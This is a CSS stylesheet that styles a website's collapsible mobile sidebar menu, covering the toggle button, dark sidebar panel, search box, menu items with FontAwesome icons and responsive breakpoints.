#main-navbar {display: none;}
div.toggle-sidebar {
	position:absolute;
    top:5px;
    left:10px;
    cursor:pointer;
    border: 2px solid #999999;
    height: 40px;
    line-height: 50px;
    padding: 10px 0 9px;
    border-radius: 6px;
    width: 44px;
    background: #999999;
}
div.toggle-sidebar .slicknav_icon-bar + .slicknav_icon-bar {
    margin-top: 0.2em;
}
div.toggle-sidebar .slicknav_icon-bar {
    display: block;
    width: 1.3em;
    height: 0.21em;
    margin: 0 auto;
    background: #fff;
    -webkit-border-radius: 1px;
    -moz-border-radius: 1px;
    border-radius: 1px;
    -webkit-transition: all 0.2s linear;
    -moz-transition: all 0.2s linear;
    -o-transition: all 0.2s linear;
    transition: all 0.2s linear;
}

#main-sidebar {
	position:fixed; top:0; bottom:0;
	background:#262626;
}

#main-sidebar .global{display:table;width:100%;border-bottom:1px solid #4b4b4b;margin:0;}
#main-sidebar .global a{display:table-cell;padding:15px 5px;text-align:center;border-left:1px solid #4b4b4b; border-top: 1px solid #4b4b4b;  color: #fff; vertical-align: middle;  font-size: 0.9em; float: left; width: 50%;}
#main-sidebar .global a:first-child{border:0;}
#main-sidebar .global a:hover{text-decoration: underline;}

a.sidr-class-toggle-sidr-close { position: relative; margin: 0 auto; display: block; height: 50px; line-height: 50px; font-size: 18px; color: #fff; background: rgba(0,0,0,0.1); }
.sidr-class-toggle-sidr-close:before { font-family: "FontAwesome"; content: "\f0c9"; position: absolute; top: 0; left: 20px; height: 50px; line-height: 50px; }

.sidr-class-mobile-menu-searchform { position: relative; margin: 30px 20px; }
.sidr-class-mobile-menu-searchform input { width: 100%; background: #fff; background: rgba(255,255,255,0.06); border: 0; outline: 0; padding: 15px 45px 15px 15px; line-height: 1.4em; border-radius: 3px; color: #fff; color: rgba(255,255,255,0.5); font-size: 1em; font-weight: 400; transition: all 0.3s; }
.sidr-class-mobile-menu-searchform input:focus { color: #fff; }
.sidr-class-mobile-menu-searchform button { background: none !important; display: block; position: absolute; right: 10px; height: 30px; line-height: 30px; width: 30px; text-align: center; top: 50%; margin-top: -15px; color: #fff; opacity: 0.4; padding: 0; border: 0; }
.sidr-class-mobile-menu-searchform button:hover { opacity: 1; }

#main-sidebar ul{padding: 0;}
#main-sidebar ul li{list-style: none; border-bottom: 1px solid rgba( 255, 255, 255, 0.035 ); clear: both;}
#main-sidebar ul li.show a{color: #fff;}
#main-sidebar ul li:hover a{color: #fff;}
#main-sidebar ul li>a {
	display:block;
	padding:15px 20px;
	color:#8b8b8b;
    font-size: 1.3em;
}

#main-sidebar ul li.show a.main {
}

#main-sidebar ul li li>a {
	display:block;
	padding:10px 20px;
	background:#2a2a2a;
    color:#8b8b8b!important;
    font-size: 1em;
}
#main-sidebar ul li li>a:hover {
    color:#fff!important;
}

#main-sidebar ul li>a span:after {
    float: right;
    margin-top: 8px;
    content: "\f107";
    display: inline-block;
    font-family: FontAwesome;
    font-style: normal;
    font-weight: 400;
    line-height: 1;
    color: inherit;
    -webkit-font-smoothing: antialiased;
    -moz-osx-font-smoothing: grayscale;
}
#row {
	*zoom:1;
	margin:0 0 0 -40px;
}
#row:after {
	content:''; display:block; clear:both;
}
#row div.cell {
	float:left;
	margin:0 0 0 40px;
}

#main-sidebar ul li.sidr-class-menu-item-mypage{background: #BC121A; color: #fff; float: left; width: 50%; border: 0; color: #fff; border-right: 1px solid #a20007; text-align: center; clear: initial;}
#main-sidebar ul li.sidr-class-menu-item-mypage >a{color: #fff; font-size: 15px; padding: 10px 20px;}

@media (max-width: 1280px){
    #main-navbar{display: block;}
    .mobile-menu{display: block;}
    #logo{padding: 15px 15px;}
    header .logoWrap .or01{left: 20px;}
    header .logoWrap .or02{right: 20px;}
    header .topBtnWrap{right: 20px;}
}

@media (max-width: 1245px) {
    #tm .th2>li>a{padding: 15px 10px; font-size: 15px;}
    #tm .th2>li a img{width: 50px;}
    #tm>li>a{font-size: 20px;}
    #tm .current{ font-size: 24px;} 
}



@media (max-width: 480px){
    div.toggle-sidebar{
    width: 40px;
    height: 36px;
}
div.toggle-sidebar .slicknav_icon-bar{
    width: 1em;
    height: 2.4px;
}
}